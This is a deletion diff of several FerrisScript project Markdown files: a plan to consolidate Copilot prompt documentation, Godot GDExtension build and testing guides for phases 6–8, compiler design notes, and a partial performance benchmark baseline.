-6. ✂️ Simplify `PR_TEMPLATE_SYSTEM.md` to ~150 lines (conventions + quick commands)
-
-**Result**:
-
-- Copilot has everything in one file (1,086 lines - still manageable)
-- Users have lightweight reference docs
-- Reduced fragmentation (4 files → 3 files)
-- Reduced duplication (~800 lines → ~250 lines of supplementary docs)
-
-**Pros**:
-
-- ✅ Single source of truth for Copilot
-- ✅ Easier maintenance
-- ✅ Less confusion
-
-**Cons**:
-
-- ⚠️ Main prompt slightly longer (1,046 → 1,086 lines)
-
----
-
-### Option B: Minimal Changes (Keep Reference Docs)
-
-**Changes**:
-
-1. ✅ Keep `workstream-execution.prompt.md` (1,046 lines)
-2. ➕ Add branch naming conventions to main prompt (~20 lines)
-3. ➕ Add commit message format to main prompt (~20 lines)
-4. ✅ Keep `README.md` as-is (directory documentation)
-5. ✅ Keep `QUICK_REFERENCE.md` as-is (user convenience)
-6. ✅ Keep `PR_TEMPLATE_SYSTEM.md` as-is (process reference)
-
-**Result**:
-
-- Copilot has everything in main prompt
-- Users have full reference documentation
-- Duplication remains
-
-**Pros**:
-
-- ✅ Least disruptive
-- ✅ Users have quick references
-
-**Cons**:
-
-- ❌ Maintenance burden continues
-- ❌ Fragmentation remains
-- ❌ Duplication across files
-
----
-
-### Option C: Single File Approach (Most Aggressive)
-
-**Changes**:
-
-1. ✅ Keep `workstream-execution.prompt.md` (1,046 lines)
-2. ➕ Add branch naming conventions to main prompt (~20 lines)
-3. ➕ Add commit message format to main prompt (~20 lines)
-4. ➕ Add "How to Use This Prompt" section to main prompt (~50 lines)
-5. 🗑️ Delete `README.md`, `QUICK_REFERENCE.md`, `PR_TEMPLATE_SYSTEM.md`
-6. ➕ Add brief note in directory: "See workstream-execution.prompt.md for all documentation"
-
-**Result**:
-
-- Single file (1,136 lines - still reasonable)
-- Zero fragmentation
-- Zero duplication
-- Main prompt becomes self-documenting
-
-**Pros**:
-
-- ✅ Absolute simplicity
-- ✅ Zero maintenance burden for supplementary docs
-- ✅ Copilot and humans read same file
-
-**Cons**:
-
-- ⚠️ Main prompt is both execution guide AND usage documentation
-- ⚠️ No separate "quick start" for users (but prompt is well-structured)
-
----
-
-## 💡 My Recommendation: **Option A** (Aggressive Consolidation)
-
-### Why Option A?
-
-1. **Copilot-First Design**: Everything Copilot needs in one file
-2. **Reasonable Complexity**: 1,086 lines is still manageable
-3. **Reduced Maintenance**: ~75% reduction in supplementary docs
-4. **Clear Separation**: Main prompt = execution, slim docs = reference
-5. **No Loss of Value**: All critical info preserved
-
-### What Changes
-
-#### Main Prompt: Add Branch & Commit Conventions
-
-Add to "About Contribution Workflow" section (~line 197):
-
-```markdown
-### About Contribution Workflow
-
-1. **What branch should I create?**
-   
-   **FerrisScript Convention**:
-   - Bug fixes: `bugfix/issue-description` or `fix/issue-description`
-   - Features: `feature/feature-name` or `feat/feature-name`
-   - Documentation: `docs/doc-update` or `doc/doc-update`
-   - Other: Use descriptive name (e.g., `refactor/parser-cleanup`)
-   
-   **Rationale**: Branch name determines PR template (auto-applied by GitHub Actions)
-
-2. **What's the commit message format?**
-   
-   **FerrisScript Convention**: Conventional Commits
-   - Format: `type(scope): description`
-   - Types: `feat`, `fix`, `docs`, `refactor`, `test`, `chore`, `perf`, `ci`
-   - Example: `feat(parser): add error recovery support`
-   - Example: `fix(runtime): handle null pointer in expression evaluation`
-   - Example: `docs: update LEARNINGS.md with Phase 3C insights`
-```
-
-#### README.md: Simplify to ~100 lines
-
-Keep:
-
-- Purpose (what this directory is)
-- When to use (✅ vs ❌ examples)
-- Quick start (usage examples)
-
-Remove:
-
-- Best practices (refer to main prompt)
-- Expected flow (refer to main prompt)
-- Detailed examples (refer to main prompt)
-
-New structure (~100 lines):
-
-```markdown
-# GitHub Copilot Workstream Prompts
-
-## 📋 Purpose
-[2 paragraphs]
-
-## 🚀 Quick Start
-[Simple invocation example]
-
-## 🎯 When to Use
-[✅ vs ❌ table]
-
-## 📂 Files
-- workstream-execution.prompt.md - Main prompt (read this!)
-- PR_TEMPLATE_SYSTEM.md - Branch/PR conventions reference
-
-## 📖 Full Documentation
-See workstream-execution.prompt.md for complete methodology, questions, best practices, and examples.
-```
-
-#### PR_TEMPLATE_SYSTEM.md: Simplify to ~150 lines
-
-Keep:
-
-- Branch naming table
-- Quick commands reference
-- Link to CONTRIBUTING.md for details
-
-Remove:
-
-- Detailed examples (they're in CONTRIBUTING.md)
-- Troubleshooting (GitHub docs cover this)
-- Long explanations (keep it reference-style)
-
-#### QUICK_REFERENCE.md: DELETE
-
-Fully redundant. Users can read the main prompt (it's well-structured with clear sections).
-
----
-
-## 📋 Implementation Plan
-
-### Step 1: Update Main Prompt
-
-- [ ] Add branch naming conventions to "About Contribution Workflow"
-- [ ] Add commit message format to "About Contribution Workflow"
-
-### Step 2: Simplify README.md
-
-- [ ] Reduce to ~100 lines (purpose + when to use + quick start)

-- [ ] Remove duplicated flow diagrams
-- [ ] Add "see main prompt for details" references
-
-### Step 3: Simplify PR_TEMPLATE_SYSTEM.md
-
-- [ ] Reduce to ~150 lines (conventions + quick commands)
-- [ ] Remove detailed examples
-- [ ] Keep as reference card
-
-### Step 4: Delete QUICK_REFERENCE.md
-
-- [ ] Remove file
-- [ ] Update any links pointing to it
-
-### Step 5: Test

-
----
-
-## 🎓 Maintenance Going Forward
-
-### Single Source of Truth Principle
-
-- **Execution methodology**: Main prompt ONLY
-- **Process conventions** (branch/commit): Main prompt + reference card
-- **Usage examples**: Main prompt ONLY
-- **Best practices**: Main prompt ONLY
-
-### When to Update
-
-- **Main Prompt**: After every workstream with learnings
-- **Reference Docs**: Only when conventions change (rare)
-
-### Future Additions
-
-If you want to add new execution guidance:
-
-1. ✅ Add to main prompt (Copilot sees it)
-2. ❌ Don't add to README (Copilot doesn't see it)
-
-If you want to add new process documentation:
-
-1. ✅ Add to CONTRIBUTING.md (primary process docs)
-2. ⚠️ Add to reference card only if frequently referenced
-

-# Phase 6: Godot Integration - Build and Test Guide
-
-## Overview
-
-This guide provides step-by-step instructions for building and testing the FerrisScript Godot integration.
-
-## How FerrisScript Files Work in Godot
-
-**Design Philosophy:**
-
-- `.ferris` files are **asset files**, not Godot scripts
-- They live inside your Godot project, just like textures, sounds, or JSON files
-- Reference them using `res://` paths (e.g., `res://scripts/hello.ferris`)
-- Godot's `FileAccess` API reads them at runtime
-- Our extension compiles and executes them on-demand
-
-**Why not use Godot's script system?**
-
-- FerrisScript is a custom language, not GDScript/C#
-- We want full control over compilation and execution
-- This allows hot-reloading, custom error handling, and future optimizations
-
-## Prerequisites
-
-1. **Rust toolchain** (already installed)
-2. **Godot 4.2 or higher** - Download from https://godotengine.org/download
-3. **C++ compiler** (required by gdext):
-   - Windows: Visual Studio 2019+ or MSVC build tools
-   - Linux: GCC or Clang
-   - macOS: Xcode Command Line Tools
-
-## Build Instructions
-
-### 1. Build the GDExtension Library
-
-From the project root:
-
-```powershell
-# Debug build (faster compile, slower runtime)
-cargo build --package FerrisScript_godot_bind
-
-# Release build (slower compile, faster runtime)
-cargo build --package FerrisScript_godot_bind --release
-```
-
-**Expected output:**
-
-- Windows: `target/debug/FerrisScript_godot_bind.dll` (or `target/release/...`)
-- Linux: `target/debug/libFerrisScript_godot_bind.so`
-- macOS: `target/debug/libFerrisScript_godot_bind.dylib`
-
-### 2. Verify the Build
-
-Check that the library file exists:
-
-```powershell
-# Windows
-ls target\debug\FerrisScript_godot_bind.dll
-
-# Should show the file with timestamp
-```
-
-## Testing in Godot
-
-### Option A: Using the Test Project (Recommended)
-
-1. **Open Godot Editor**
-   - Launch Godot 4.2+
-   - Click "Import"
-   - Navigate to `Y:\cpark\Projects\FerrisScript\godot_test\project.godot`
-   - Click "Import & Edit"
-
-2. **Verify Extension Loaded**
-   - Check the Output panel (bottom of editor)
-   - You should see: `GDExtension successfully loaded: res://FerrisScript.gdextension`
-   - If you see errors, check the Troubleshooting section below
-
-3. **Open Test Scene**
-   - In the FileSystem dock, double-click `test_scene.tscn`
-   - You should see a scene tree with:
-     - TestScene (Node)
-       - FerrisScriptTest (FerrisScriptNode)
-
-4. **Inspect FerrisScriptNode**
-   - Click on "FerrisScriptTest" node
-   - In the Inspector panel, verify:
-     - `Script Path` property is visible
-     - Value is set to `res://scripts/hello.ferris`
-   - **Note:** `.ferris` files are treated as assets, placed inside the Godot project like textures or sounds
-
-5. **Run the Scene**
-   - Click the "Play Scene" button (F6) or "Play" button (F5)
-   - Check the Output panel
-
-### Option B: Manual Scene Setup
-
-1. **Open Godot and Create New Scene**
-   - File → New Scene
-   - Add a Node as root (rename to "TestScene")
-
-2. **Add FerrisScriptNode**
-   - Right-click on TestScene
-   - Add Child Node
-   - Search for "FerrisScriptNode"
-   - If you don't see it, the extension isn't loaded properly
-
-3. **Configure Script Path**
-   - Select the FerrisScriptNode
-   - In Inspector, find "Script Path" property
-   - Set to: `res://scripts/hello.ferris`
-   - **Important:** `.ferris` files should be placed inside your Godot project directory
-   - Use `res://` paths just like any other Godot asset
-
-4. **Save and Run**
-   - Save scene as `test_scene.tscn`
-   - Press F6 to run
-
-## Acceptance Criteria
-
-### ✅ **Success Criteria**
-
-When you run the test scene, you should see:
-
-**In Godot's Output Panel:**
-
-```
-Successfully loaded FerrisScript: res://scripts/hello.ferris
-Hello, Godot! FerrisScript is working!
-```
-
-**Behavior Verification:**
-
-1. ✅ No compilation errors when building the extension
-2. ✅ Godot loads the extension without errors
-3. ✅ FerrisScriptNode appears in "Create New Node" dialog
-4. ✅ FerrisScriptNode has `script_path` property in Inspector
-5. ✅ Setting `script_path` loads and compiles the .ferris file
-6. ✅ Running the scene executes the `_ready()` function
-7. ✅ `print("Hello, Godot!")` outputs to Godot console
-
-### 🧪 **Extended Testing**
-
-Test with different example files:
-
-#### Test 1: Branch Logic
-
-- Set `script_path` to `res://../examples/branch.ferris`
-- Run scene
-- Should see output from if/else branches
-
-#### Test 2: Global Variables
-
-- Set `script_path` to `res://../examples/bounce.ferris`
-- Run scene
-- Should initialize without errors (no output expected yet)
-
-#### Test 3: Functions
-
-- Set `script_path` to `res://../examples/functions.ferris`
-- Run scene
-- Should execute function definitions without errors
-
-#### Test 4: Error Handling
-
-- Set `script_path` to `res://../examples/type_error.ferris`
-- Run scene
-- Should see error message in console: "Type mismatch..."
-
-#### Test 5: Invalid Path
-
-- Set `script_path` to `res://nonexistent.ferris`
-- Run scene
-- Should see error: "Failed to read script file..."
-
-#### Test 6: Hot Reload
-
-- Run scene with hello.ferris
-- Edit hello.ferris (change the message)
-- In Godot, click the FerrisScriptNode
-- In Inspector, find the "Reload Script" method (may be under "Methods")
-- Call the method
-- Verify new message appears in output
-
-## Troubleshooting
-
-### Extension Not Loading
-
-#### Error: "Can't open dynamic library"
-
-- Solution: Rebuild the extension with `cargo build --package FerrisScript_godot_bind`
-- Verify the DLL/SO/DYLIB file exists in target/debug/
-- Check that the path in `FerrisScript.gdextension` matches your build location
-
-#### Error: "No loader found for resource"
-
-- Solution: Ensure `FerrisScript.gdextension` is in the project root
-- Verify the entry_symbol is correct: `gdext_rust_init`
-
-#### Error: "Entry symbol not found"
-
-- Solution: This usually means the Rust crate type isn't set correctly
-- Verify `crate-type = ["cdylib"]` in `godot_bind/Cargo.toml`
-
-### Script Not Loading
-
-#### Error: "Failed to read script file"
-
-- Check that the path is correct relative to Godot project
-- Try absolute path: `Y:/cpark/Projects/FerrisScript/examples/hello.ferris`
-- Verify file exists and has .ferris extension
-
-#### Error: "Failed to compile script"
-
-- Check the script for syntax errors
-- Run the compiler tests to verify: `cargo test -p FerrisScript_compiler`
-- Check error message for specific line/column
-
-### Runtime Errors
-
-#### Error: "Error calling function '_ready'"
-
-- Check that the script defines a `_ready()` function
-- Verify function signature is correct: `fn _ready() { ... }`
-- Check runtime tests: `cargo test -p FerrisScript_runtime`

-# Phase 7: _process and self binding - Testing Guide
-
-## Quick Test (2 minutes)
-
-### Test 1: Basic _process callback
-
-1. Open Godot project (`godot_test/project.godot`)
-2. Open `test_scene.tscn`
-3. Select the `FerrisScriptTest` node
-4. In Inspector, change `Script Path` to `res://scripts/process_test.ferris`
-5. Press F5 to run
-6. **Expected Output (every 60 frames):**
-
-   ```
-   Process test started! Counting frames...
-   60 frames passed! Delta was: 0.016667
-   ```
-
-### Test 2: Object Movement with self.position
-
-1. In the scene, select `FerrisScriptTest` node
-2. Change `Script Path` to `res://scripts/move_test.ferris`
-3. Make sure the node is visible:
-   - Add a Sprite2D or ColorRect as a child to see it move
-   - OR note the initial position in the Inspector
-4. Press F5 to run
-5. **Expected Behavior:**
-   - Console shows: "Movement test started! Node will move right."
-   - Node moves 50 pixels/second to the right
-   - Position.x increases continuously
-   - After 10 seconds, should be ~500 pixels to the right
-
-## Acceptance Criteria
-
-### ✅ Phase 7 Complete When
-
-- [ ] **_process callback works**
-  - Script's `_process(delta)` function is called every frame
-  - Delta parameter is passed correctly (typically 0.016-0.017 for 60 FPS)
-
-- [ ] **self binding works**
-  - Can reference `self` in script functions
-  - No errors when accessing `self`
-
-- [ ] **Property getter works**
-  - Can read `self.position` from script
-  - Returns correct Vector2 value
-  - Can access fields: `self.position.x`, `self.position.y`
-
-- [ ] **Property setter works**
-  - Can modify `self.position.x` in script
-  - Changes are reflected in Godot node
-  - Node actually moves on screen
-  - `self.position.x += value` syntax works
-
-- [ ] **Performance acceptable**
-  - No significant FPS drops
-  - Script executes smoothly every frame
-  - 60 FPS maintained (check with Godot's FPS counter)
-
-## Detailed Testing Steps
-
-### Setup
-
-1. Close Godot if it's open
-2. Rebuild the extension:
-
-   ```powershell
-   cargo build --package FerrisScript_godot_bind
-   ```
-
-3. Open Godot and import `godot_test/project.godot`
-
-### Test Scenarios
-
-#### Scenario 1: Frame Counting
-
-- Script: `process_test.ferris`
-- Purpose: Verify _process is called and delta is valid
-- Pass Criteria: See periodic messages (every 60 frames)
-
-#### Scenario 2: Horizontal Movement
-
-- Script: `move_test.ferris`
-- Purpose: Verify self.position.x can be modified
-- Pass Criteria: Node moves smoothly to the right
-
-#### Scenario 3: Check Position Values
-
-1. Run with `move_test.ferris`
-2. Stop after 5 seconds
-3. Check Position in Inspector
-4. X should be approximately: initial_x + (50 * 5) = initial_x + 250
-
-#### Scenario 4: Verify Property Isolation
-
-1. Add a second FerrisScriptNode to the scene
-2. Set both to `move_test.ferris`
-3. Run the scene
-4. Both nodes should move independently
-5. Changing one's position doesn't affect the other
-
-## Troubleshooting
-
-### Node doesn't move
-
-- Check that node type is FerrisScriptNode (not regular Node)
-- Verify script path is correct
-- Check console for errors
-- Ensure extension loaded successfully
-
-### "Property 'position' not supported" error
-
-- FerrisScriptNode must inherit from Node2D
-- Rebuild extension if you changed base class
-- Restart Godot to reload extension
-
-### FPS drops
-
-- Check Godot's profiler (Debug > Profiler)
-- Script execution should be <0.1ms per frame
-- If slow, may need optimization in runtime
-
-### Position resets every frame
-
-- Check if script is being reloaded
-- Verify environment persists between frames
-- Global variables should maintain state
-
-## Success Output Example
-
-```
-Movement test started! Node will move right.
-```
-
-And in the scene view, you should see the node smoothly moving to the right at 50 pixels per second.
-
-## Next Steps After Validation
-
-Once Phase 7 tests pass:
-
-- Phase 8: Mutable state tracking
-- Phase 9: Polish and documentation
-- 0.0.1 release!

-# Phase 8 Testing Guide: Mutable State & Control Flow
-
-**Purpose**: Validate that mutable variables persist between frames and control flow works correctly in FerrisScript
-
-**Last Updated**: October 1, 2025
-
----
-
-## 📋 Quick Test (2 minutes)
-
-### Setup
-
-1. Open Godot 4.2+ project from `godot_test/`
-2. Open the test scene (or create a new one)
-3. Add a `FerrisScriptNode` (extends Node2D)
-4. Set `script_path` to `res://scripts/bounce_test.ferris`
-5. Add a Sprite2D or ColorRect as child (for visualization)
-
-### Expected Behavior
-
-- Node starts at x=0, moves right
-- At x=200, reverses and moves left
-- At x=-200, reverses and moves right
-- Continues bouncing indefinitely
-- Movement is smooth without stuttering
-
-### Quick Validation
-
-Run the scene (F5) and observe:
-
-- ✅ Console shows "Bounce test started" message
-- ✅ Node moves horizontally
-- ✅ Direction reverses at boundaries
-- ✅ Bouncing continues indefinitely
-
----
-
-## 📊 Comprehensive Test Suite
-
-### Test 1: Mutable State Persistence
-
-**Acceptance Criteria:**
-
-- [ ] Global `dir` variable maintains value between frames
-- [ ] Direction changes persist across multiple _process calls
-- [ ] No reset of state when switching between boundaries
-
-**How to Test:**
-
-1. Run scene and watch node movement
-2. Direction should only change at boundaries
-3. Add a debug print of `dir` value (modify script to print direction)
-4. Verify direction is -1.0 when moving left, 1.0 when moving right
-
-**Expected Output Pattern:**
-
-```
-Bounce test started
-Node will bounce between x = -200 and x = 200
-[Movement occurs continuously without console spam]
-```
-
-### Test 2: Control Flow (If Statements)
-
-**Acceptance Criteria:**
-
-- [ ] If statement `self.position.x > boundary` works correctly
-- [ ] If statement `self.position.x < -boundary` works correctly
-- [ ] Both conditions can be true in sequence (no mutual exclusion bug)
-
-**How to Test:**
-
-1. Run scene
-2. Verify reversal at right boundary (x > 200)
-3. Verify reversal at left boundary (x < -200)
-4. Watch for multiple complete bounces
-
-**Visual Confirmation:**
-
-- Node should bounce at BOTH boundaries
-- Should not get stuck at one boundary
-- Should not overshoot boundaries significantly
-
-### Test 3: Self Property Modification
-
-**Acceptance Criteria:**
-
-- [ ] `self.position.x += ...` modifies node position
-- [ ] Position updates are reflected in visual node position
-- [ ] No console errors about property access
-
-**How to Test:**
-
-1. Run scene with visual child (Sprite2D/ColorRect)
-2. Visual element should move smoothly
-3. Check Inspector during play - position.x should update
-
-**Expected Behavior:**
-
-- Smooth horizontal movement
-- No teleporting or stuttering
-- Consistent movement speed
-
-### Test 4: Performance & Stability
-
-**Acceptance Criteria:**
-
-- [ ] No memory leaks (long-running test)
-- [ ] Consistent FPS (check Godot's FPS counter)
-- [ ] No gradual slowdown over time
-
-**How to Test:**
-
-1. Run scene for 60+ seconds
-2. Monitor FPS in Godot (View → Show FPS)
-3. Check memory usage doesn't continuously grow
-
-**Expected Results:**
-
-- Stable FPS (60 or your target)
-- Memory usage plateaus quickly
-- No performance degradation
-

-
-## 🧪 Extended Test Scenarios
-
-### Scenario 1: Variable Boundaries
-
-Modify `bounce_test.ferris` to test edge cases:
-
-```rust
-let boundary: f32 = 50.0;  // Smaller boundary
-```
-
-Expected: Faster bouncing, same behavior
-
-### Scenario 2: Different Speed
-
-```rust
-let speed: f32 = 300.0;  // Faster movement
-```
-
-Expected: Faster movement, same bouncing logic
-
-### Scenario 3: Multiple Nodes
-
-Create 2+ FerrisScriptNode instances with bounce_test.ferris
-Expected: Each node has independent state (separate environments)
-
----
-
-## 🐛 Troubleshooting
-
-### Issue: Node doesn't move
-
-**Possible Causes:**
-
-- Script path not set correctly
-- Script failed to compile (check console for errors)
-- Node not visible (add child Sprite2D/ColorRect)
-
-**Solution:**
-
-1. Check console for "Successfully loaded FerrisScript" message
-2. Check console for "Bounce test started" message
-3. Verify script_path property in Inspector
-
-### Issue: Node moves but doesn't bounce
-
-**Possible Causes:**
-
-- Boundaries not triggering correctly
-- Direction variable not persisting
-
-**Solution:**
-
-1. Add print statements to debug direction changes
-2. Check that if conditions are evaluating correctly
-3. Verify mutable state is working (dir should change values)
-
-### Issue: Node bounces erratically
-
-**Possible Causes:**
-
-- Multiple boundary checks triggering in same frame
-- Position overshooting boundaries
-
-**Solution:**
-
-- Current logic should handle this correctly (uses separate if statements)
-- If issue persists, may need else if logic
-
-### Issue: Performance degradation
-
-**Possible Causes:**
-
-- Memory leak in runtime
-- Property getter/setter overhead
-
-**Solution:**
-
-1. Profile with Godot's profiler
-2. Check memory usage over time
-3. Report findings for optimization
-

-## 📝 Notes
-
-### Key Technical Decisions Made
-
-1. **Error Handling Strategy**: Using `Result<T, String>` for all compiler phases with span-based error messages ✅
-2. **Type System Scope**: Implemented i32, f32, bool, String + Vector2, Node for Godot integration ✅
-3. **Type Coercion**: Supporting i32 → f32 implicit coercion for ergonomics ✅
-4. **Operator Precedence**: Using Pratt parser for clean, extensible expression parsing ✅
-5. **Compound Assignment Desugaring**: `+=` and `-=` desugar to regular assignments at parse time ✅
-6. **Field Access**: Chained field access (e.g., `self.position.x`) properly parsed and type-checked ✅
-7. **Global Variables**: Supported at program level for persistent state (needed for bounce.rscr) ✅
-
-### Key Technical Decisions to Make (for future phases)
-
-1. **Memory Model**: How to handle Godot object lifetimes in Rust
-2. **String Interning**: Use string interring for identifiers?
-3. **Performance**: Interpreted vs bytecode compilation for 0.0.1
-4. **Runtime Value Representation**: How to bridge Rust values with Godot types efficiently
-
-### Implementation Learnings (Phases 1-8)
-
-- **Lexer**: Line comments support added early was helpful for testing
-- **Parser**: Pratt parser handles precedence elegantly, easy to extend
-- **AST**: Adding Span early made error reporting much better
-- **Type Checker**: Scoped symbol tables prevent accidental variable shadowing issues
-- **Runtime**: Implementing full execution revealed importance of type coercion and proper scope management
-- **Testing**: Comprehensive unit tests (now 26 runtime tests) give confidence in each phase
-- **Example Files**: Testing with real examples (hello.rscr, move.rscr, bounce.rscr) validated design decisions
-- **Value Representation**: Using simple enum for values works well for MVP, can optimize later
-- **Control Flow**: FlowControl enum pattern elegantly handles returns in nested scopes
-- **Mutability Tracking**: VarInfo struct pattern cleanly separates concerns (value vs mutability)
-- **Persistent State**: Storing Env in GDExtension node works perfectly for frame-to-frame state
-- **Godot Integration**: Thread-local storage for property bridge avoids lifetime complexity
-- **Manual Testing**: Real Godot testing reveals behaviors automated tests can't catch
-
-### Known Limitations for 0.0.1
-
-- No struct definitions
-- No signals
-- No inheritance/composition
-- No generics
-- Limited Godot type support (only Vector2, Node)

-- Hot reload
-- More Godot types and APIs
-- Struct definitions
-- Enums and pattern matching
-- Signal support
-- Editor plugin for syntax highlighting

-| Vector2 | ✅ | ✅ | ✅ | ✅ | ⏳ | move.rscr |
-
-Legend: ✅ Complete | ⏳ Next phase | ❌ Not planned for 0.0.1
-
-**Note**: Compound assignment (+=, -=) is parsed and type-checked but needs explicit runtime support in statement execution (currently only supports basic assignment).
-
-### Key Technical Insights from Phase 5
-
-1. **AST Tuple Patterns**: The AST uses tuple-style enum variants (e.g., `Expr::Variable(String, Span)`), which is more compact than struct-style variants but requires pattern matching adjustments.
-
-2. **Scope Management**: The scoped Environment with push/pop works perfectly for function calls and block scoping, preventing variable leakage.
-
-3. **Control Flow Handling**: Using a `FlowControl` enum to track return statements elegantly handles early returns from nested control structures.
-
-4. **Type Coercion Strategy**: Runtime type coercion is explicit in arithmetic operations - if either operand is float, both are coerced to float. This matches user expectations while keeping implementation simple.
-
-5. **Function Registry Separation**: Keeping built-in and user-defined functions in separate registries makes it easy to extend the language with new built-ins without polluting the user namespace.
-
-6. **Error Messages**: Runtime errors include context (e.g., "Undefined variable: x") making debugging easier even without line numbers yet.
-
-7. **Testing Strategy**: Creating small, focused unit tests for each feature + integration tests with real code patterns catches bugs early and validates end-to-end functionality.
-
-### Next Steps (Phase 6)
-
-Now that we have a working compiler and runtime, Phase 6 focuses on **Godot Integration**:
-
-**Immediate Goals:**
-
-1. Set up gdext project structure properly
-2. Create RustyScriptNode GDExtension class
-3. Implement script loading from .rscr files
-4. Implement _ready callback integration
-5. Test hello.rscr actually running in Godot
-
-**Challenges to Address:**
-
-- Bridging Rust values to Godot's Variant system
-- Managing script lifetime with Godot's node lifecycle
-- Handling self binding for node property access
-- Error reporting from runtime to Godot console
-
----
-
-## 🎯 Checkpoint: Phase 6 Complete (Pending Manual Validation)
-
-**Date**: Current Session  
-**Commit**: `feat(godot_bind): implement complete Phase 6 Godot integration`  
-**Status**: ⚠️ Implementation complete, **manual Godot testing required**
-
-### Phase 6 Implementation Summary
-
-**GDExtension Architecture:**
-
-- **RustyScriptNode**: Custom Godot Node class that loads and executes .rscr files
-- **Script Loading**: Reads .rscr files from filesystem, compiles with our compiler
-- **Runtime Integration**: Each node instance has its own Environment and compiled Program
-- **Error Reporting**: Uses Godot's logging macros (godot_print!, godot_error!, godot_warn!)
-- **Hot Reload**: reload_script() method allows reloading during development
-
-**Implemented Features:**
-
-1. **GDExtension Setup**:
-   - Created `rustyscript.gdextension` manifest file
-   - Configured for cross-platform (Windows/Linux/macOS)
-   - Entry point: `gdext_rust_init`
-   - Builds as cdylib (3.5 MB DLL)
-
-2. **RustyScriptNode Class**:
-   - Inherits from Godot's Node class
-   - `script_path` property (exposed to Inspector)
-   - `reload_script()` method (callable from Godot)
-   - Proper lifecycle integration (init, ready, process)
-
-3. **Script Loading System**:
-   - Reads .rscr files using std::fs
-   - Compiles using rustyscript_compiler::compile()
-   - Caches compiled AST in `program` field
-   - Creates runtime Environment per node
-   - Handles file not found, compilation errors, runtime errors
-
-4. **_ready() Callback**:
-   - Automatically loads script when script_path is set
-   - Executes script's _ready() function on node ready
-   - Graceful handling if _ready() doesn't exist
-   - Error reporting to Godot console
-
-5. **Test Infrastructure**:
-   - Created `godot_test/` Godot project
-   - Test scene with RustyScriptNode configured for hello.rscr
-   - Comprehensive PHASE6_TESTING.md documentation
-   - Manual testing checklist with expected outputs
-
-**Files Created/Modified:**
-
-New Files:
-
-- `rustyscript.gdextension` - Extension manifest
-- `docs/PHASE6_TESTING.md` - Comprehensive testing guide (150+ lines)
-- `godot_test/project.godot` - Test Godot project
-- `godot_test/test_scene.tscn` - Test scene with RustyScriptNode
-- `godot_test/icon.svg` - Godot icon
-- `godot_test/README.md` - Quick start guide
-
-Modified Files:
-
-- `crates/godot_bind/src/lib.rs` - Complete RustyScriptNode implementation (115 lines)
-
-**Build Verification:**
-
-- ✅ Cargo build succeeds
-- ✅ DLL/SO/DYLIB generated (3.5 MB on Windows)
-- ✅ All 88 workspace tests still pass
-- ✅ No compilation errors or warnings
-
-**Manual Testing Required:**
-
-The following **cannot be automated** and require actual Godot testing:
-
-1. Extension loads in Godot without errors
-2. RustyScriptNode appears in node creation dialog
-3. script_path property works in Inspector
-4. Scripts compile and execute correctly
-5. Console output appears as expected
-6. Error messages display properly
-7. reload_script() method functions
-8. Multiple node instances work independently
-
-**Testing Documentation:**
-
-See `docs/PHASE6_TESTING.md` for:
-
-- Prerequisites (Godot 4.2+, C++ compiler)
-- Step-by-step build instructions
-- Two testing options (test project vs manual setup)
-- Acceptance criteria with expected outputs
-- Extended testing scenarios (8 different tests)
-- Comprehensive troubleshooting guide
-- Manual testing checklist (printable)
-
-**Expected Behavior (When Validated):**
-
-```
-# In Godot Output Panel:
-Successfully loaded RustyScript: res://../examples/hello.rscr
-Hello, Godot!
-```
-
-**Known Limitations (Phase 6):**
-
-- No _process() callback yet (Phase 7)
-- No `self` binding for node properties (Phase 7)
-- No delta parameter passing (Phase 7)
-- Scripts can't access node properties yet
-- No hot-reload on file change (manual reload_script() call required)
-
-**Technical Insights from Phase 6:**
-
-1. **GDExtension Integration**: The gdext crate makes Godot 4.x integration straightforward with derive macros (#[derive(GodotClass)], #[godot_api])
-
-2. **Property Exposure**: The #[var] attribute automatically creates getters/setters exposed to Godot Inspector
-
-3. **Error Reporting**: Using godot_error! instead of panic! keeps Godot stable when scripts fail
-
-4. **Per-Node State**: Each RustyScriptNode instance maintains independent runtime state, allowing multiple scripts in one scene
-
-5. **Lifecycle Integration**: Godot's ready() callback is perfect trigger point for script loading and initialization
-
-6. **File Paths**: Need to be careful with relative paths - "res://" is Godot's resource path, can use "../" to escape to parent directory
-
-7. **Build Configuration**: cdylib is essential for dynamic library loading in Godot
-
-### Next Steps (Phase 7)
-
-After Phase 6 manual validation passes, implement **Process Loop**:
-
-**Goals:**
-
-1. Implement _process(delta) callback integration
-2. Call script's _process() function every frame
-3. Pass delta parameter to script
-4. Test with move.rscr (position updates each frame)
-5. Implement self binding for node property access
-
-**Challenges:**
-
-- Bridging Godot's node properties to runtime Values
-- Handling self variable in runtime environment
-- Converting delta (f64) to runtime Value
-- Performance considerations (called every frame!)

-# Performance Benchmarks Baseline
-
-This document records the baseline performance metrics for FerrisScript v0.0.1, established using [criterion.rs](https://github.com/bheisler/criterion.rs).
-
-**Date**: October 2, 2025  
-**Platform**: Windows (test environment)  
-**Build**: `cargo bench` (release mode, optimizations enabled)  
-**Version**: v0.0.1
-
----
-
-## Compiler Benchmarks
-
-### Lexer Performance
-
-Tokenization speed for different input sizes:
-
-| Input Size | Time (avg) | Throughput |
-|------------|------------|------------|
-| **Small** (single line) | **384 ns** | ~2.6M ops/sec |
-| **Medium** (function def) | **1.50 ┬╡s** | ~667K ops/sec |
-| **Large** (bounce example) | **3.74 ┬╡s** | ~267K ops/sec |
-
-**Analysis**:
-
-- Lexer performance scales linearly with input size
-- Small inputs (~20 chars) tokenize in under 400 nanoseconds
-- Medium inputs (~150 chars) tokenize in ~1.5 microseconds
-- Large inputs (~400 chars) tokenize in ~3.7 microseconds
-- Performance is excellent for typical game scripting workloads
-
-### Parser Performance
-
-Parsing speed (includes tokenization):
-
-| Input Size | Time (avg) | Throughput |
-|------------|------------|------------|
-| **Small** | **600 ns** | ~1.67M ops/sec |
-| **Medium** | **3.10 ┬╡s** | ~323K ops/sec |
-| **Large** | **7.94 ┬╡s** | ~126K ops/sec |
-
-**Analysis**:
-
-- Parser adds ~200-220 ns overhead over lexing for small inputs
-- Medium and large inputs show roughly 2x parsing overhead
-- Parser maintains good performance even on complex nested structures
-
-### Type Checker Performance
-
-Type checking speed (includes tokenization + parsing):
-
-| Input Size | Time (avg) | Throughput |
-|------------|------------|------------|
-| **Small** | **851 ns** | ~1.17M ops/sec |
-| **Medium** | **3.58 ┬╡s** | ~279K ops/sec |
-
-**Analysis**:
-
-- Type checker adds ~250 ns overhead for small inputs
-- Medium inputs: ~480 ns type checking overhead
-- Type checking is efficient and doesn't significantly slow compilation
-
-### Full Pipeline Performance
-
